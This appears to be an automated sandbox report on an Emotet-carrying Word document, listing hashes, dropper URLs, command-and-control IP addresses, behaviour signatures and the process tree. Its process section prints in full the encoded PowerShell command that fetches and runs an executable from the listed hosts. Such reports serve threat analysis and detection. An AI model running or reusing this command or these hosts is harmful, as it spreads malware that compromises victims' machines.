Analysis

  • max time kernel
    19s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    31-07-2020 15:24

General

  • Target

    8f7b938673b5447b4f82339c794ba51ad2044fe11b88707e17d396ef3895f982.doc

  • Size

    169KB

  • MD5

    83884d26b229b58dd943ea09c88be3b8

  • SHA1

    eabcbeddfc526960d26e55953cb3041822d54df9

  • SHA256

    8f7b938673b5447b4f82339c794ba51ad2044fe11b88707e17d396ef3895f982

  • SHA512

    0780908f9ba4a9583106456fa91400c923efad73b8d71f654bc08eab73bff19635fcaf8ac9ab32900ae03719ba64d527832c7c7f1729099c4fd09aa45c98844d

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://artexproductions.com/cgi-bin/xHdbmk/

exe.dropper

http://whistledownfarm.com/cgi-bin/tlsjw81/

exe.dropper

http://e-motiva.com/wp-admin/bFr531220/

exe.dropper

http://stolkie.net/m/H0LV59574/

exe.dropper

http://www.faccomputer.com/images/5mMAg7bKKK/

Extracted

Family

emotet

C2

73.116.193.136:80

185.94.252.13:443

149.62.173.247:8080

89.32.150.160:8080

185.94.252.12:80

77.90.136.129:8080

83.169.21.32:7080

104.236.161.64:8080

114.109.179.60:80

189.2.177.210:443

68.183.190.199:8080

144.139.91.187:443

185.94.252.27:443

190.181.235.46:80

82.196.15.205:8080

46.28.111.142:7080

181.167.96.215:80

202.62.39.111:80

219.92.13.25:80

191.99.160.58:80

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8f7b938673b5447b4f82339c794ba51ad2044fe11b88707e17d396ef3895f982.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1088
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAEoARgBDAE4AYgBrAHIAPQAnAFYAQwBXAFYAWgBtAHAAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAHIAaQBgAFQAWQBQAGAAUgBPAHQAbwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFcARwBGAE0AUQByAHkAcQAgAD0AIAAnADIANwAzACcAOwAkAE0AQQBBAEkARQB6AHUAaAA9ACcASQBVAFgAWgBDAHAAbgB1ACcAOwAkAEQAWQBPAEUAQQBoAGMAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVwBHAEYATQBRAHIAeQBxACsAJwAuAGUAeABlACcAOwAkAEIATABNAFQASQBjAGgAcAA9ACcAQgBHAFMAWABIAGsAYwBlACcAOwAkAEEAUQBXAEUAUQB4AG0AZgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBjAEwAaQBlAE4AdAA7ACQAUQBBAEkATABXAGcAcQBuAD0AJwBoAHQAdABwADoALwAvAGEAcgB0AGUAeABwAHIAbwBkAHUAYwB0AGkAbwBuAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB4AEgAZABiAG0AawAvACoAaAB0AHQAcAA6AC8ALwB3AGgAaQBzAHQAbABlAGQAbwB3AG4AZgBhAHIAbQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHQAbABzAGoAdwA4ADEALwAqAGgAdAB0AHAAOgAvAC8AZQAtAG0AbwB0AGkAdgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBiAEYAcgA1ADMAMQAyADIAMAAvACoAaAB0AHQAcAA6AC8ALwBzAHQAbwBsAGsAaQBlAC4AbgBlAHQALwBtAC8ASAAwAEwAVgA1ADkANQA3ADQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBmAGEAYwBjAG8AbQBwAHUAdABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8ANQBtAE0AQQBnADcAYgBLAEsASwAvACcALgAiAFMAUABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBBAEIAQwBTAHUAcwBpAD0AJwBZAEQAVABGAE0AcwBtAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYASwBPAFgAVABiAGUAZAAgAGkAbgAgACQAUQBBAEkATABXAGcAcQBuACkAewB0AHIAeQB7ACQAQQBRAFcARQBRAHgAbQBmAC4AIgBkAGAAbwB3AE4AbABPAEEAZABGAGAAaQBgAGwARQAiACgAJABWAEsATwBYAFQAYgBlAGQALAAgACQARABZAE8ARQBBAGgAYwBzACkAOwAkAEkAUwBSAFkAQgBvAHAAdAA9ACcAWgBMAE0ATQBXAHkAZAB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQARABZAE8ARQBBAGgAYwBzACkALgAiAGwAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA1ADQAMgAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBlAGEAVABFACIAKAAkAEQAWQBPAEUAQQBoAGMAcwApADsAJABZAFMAUwBCAEEAcQBqAG0APQAnAFYAVABBAEwAWgBvAHUAbAAnADsAYgByAGUAYQBrADsAJABTAFkATgBOAFoAdABzAHgAPQAnAEwARwBVAEIAUQB5AGwAagAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAFEAUQBIAFMAYgB5AHgAPQAnAFkAWgBOAFkAQwBuAGoAZAAnAA==
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:768
  • C:\Users\Admin\273.exe
    C:\Users\Admin\273.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1824
    • C:\Windows\SysWOW64\KBDINTEL\api-ms-win-core-file-l1-2-0.exe
      "C:\Windows\SysWOW64\KBDINTEL\api-ms-win-core-file-l1-2-0.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:320

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/320-13-0x00000000003B0000-0x00000000003BC000-memory.dmp

    Filesize

    48KB

  • memory/1088-2-0x0000000008BF0000-0x0000000008BF4000-memory.dmp

    Filesize

    16KB

  • memory/1088-5-0x000000000B010000-0x000000000B014000-memory.dmp

    Filesize

    16KB

  • memory/1088-6-0x000000000C090000-0x000000000C094000-memory.dmp

    Filesize

    16KB

  • memory/1824-10-0x0000000000310000-0x000000000031C000-memory.dmp

    Filesize

    48KB